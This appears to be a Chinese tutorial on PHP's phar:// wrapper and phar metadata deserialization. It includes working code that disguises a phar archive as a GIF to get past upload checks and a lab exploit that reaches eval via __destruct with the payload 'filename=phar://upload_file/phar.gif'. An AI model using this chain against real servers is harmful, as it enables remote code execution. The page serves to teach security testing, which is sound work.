🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
phar://—PHP 归档 **封装协议摘要** | 属性 | 支持 | | --- | --- | | 支持[allow\_url\_fopen](https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-fopen) | No | | 支持[allow\_url\_include](https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-include) | No | | 允许读取 | Yes | | 允许写入 | Yes | | 允许附加 | No | | 允许同时读写 | Yes | | 支持[stat()](https://www.php.net/manual/zh/function.stat.php) | Yes | | 支持[unlink()](https://www.php.net/manual/zh/function.unlink.php) | Yes | | 支持[rename()](https://www.php.net/manual/zh/function.rename.php) | Yes | | 支持[mkdir()](https://www.php.net/manual/zh/function.mkdir.php) | Yes | | 支持[rmdir()](https://www.php.net/manual/zh/function.rmdir.php) | Yes | ![](https://img.kancloud.cn/63/fb/63fb6f9bc13bcc644fd768cd4a18244d_858x268.png) ~~~ $context = stream_context_create(array('phar' => array('compress' => Phar::GZ)), array('metadata' => array('user' => 'cellog'))); file_put_contents('phar://my.phar/somefile.php', 0, $context); ~~~ 请注意,phar流包装器不适用于任何glob ``` newDirectoryIterator('glob://phar://some.phar/*');//错误用法 newDirectoryIterator('phar://some.phar/');//正确用法 ``` ``` //Phar扩展 //构造一个不可执行的tar或zip归档对象 $p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ; //将文件系统中的文件添加到tar / zip归档文件中 $p->addFromString('testfile.txt', 'this is just some test text'); // This works echo file_get_contents('phar://phartest.zip/testfile.txt'); //This Fails file_put_contents('phar://phartest.zip/testfile.txt', 'Thist is text for testfile.txt'); $context = stream_context_create( array('phar' =>array('compress' =>Phar::ZIP)) ) ; //This Fails file_put_contents( 'phar://phartest.zip/testfile.txt', 'Thist is text for testfile.txt',0,$context); // This works but only with 'r' readonly mode. $f = fopen( 'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt', 'r') ; ``` 自己构建一个phar文件,php内置了一个Phar类来处理相关操作 ~~~ class TestObject {} $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new TestObject(); $o -> data='hu3sky'; $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ~~~ 访问后,会生成一个phar.phar在当前目录下 ![](https://img.kancloud.cn/61/97/6197d986f8d32d7c3c215dd3f163ce2f_1139x63.png) 用winhex打开生成的这个phar.phar ![](https://img.kancloud.cn/b1/1b/b11ba8c8fa3eb4fdd3f89ca0b3533c59_1043x227.png) 可以明显的看到meta-data是以序列化的形式存储的 漏洞: php识别phar文件是通过其文件头的stub,更确切一点来说是\_\_HALT\_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件 ``` class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头 $phar ->addFromString('test.txt','test'); //添加要压缩的文件 $object = new TestObject(); $object -> data = 'hu3sky'; $phar -> setMetadata($object); //将自定义meta-data存入manifest $phar -> stopBuffering(); ``` 采用这种方法可以绕过很大一部分上传检测。 # 利用条件 ## phar文件要能够上传到服务器端。 如`file_exists()`,`fopen()`,`file_get_contents()`,`file()`等文件操作的函数 ## 要有可用的魔术方法作为“跳板”。 ## 文件操作函数的参数可控,且`:`、`/`、`phar`等特殊字符没有被过滤。 # 漏洞验证 ## 环境准备 `upload_file.php`,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif `upload_file.html`文件上传表单 `file_un.php`存在`file_exists()`,并且存在`__destruct()` ## 文件内容 `upload_file.php` ~~~ <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"]; if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; } ~~~ `upload_file.html` ~~~ <body> <form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> ~~~ `file_un.php` ~~~ <?php $filename=$_GET['filename']; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } file_exists($filename); ~~~ ## 实现过程 首先是根据file\_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file\_exists,使用`phar://`执行代码 ## 构造代码 `eval.php` ~~~ <?php class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering(); ~~~ 访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif ![](https://img.kancloud.cn/85/5c/855cb273d6fa38cd8df1b578c59b8cdc_739x35.png) 接着上传,文件会上传到upload\_file目录下 ![](https://img.kancloud.cn/86/4d/864d7d189d3f1981fe338642c2c13477_572x241.png) 然后利用file\_un.php。 payload:filename=phar://upload\_file/phar.gif ![](https://img.kancloud.cn/f8/f2/f8f2f2e4363f0b6b9618e3a1eb579bb2_1911x942.png)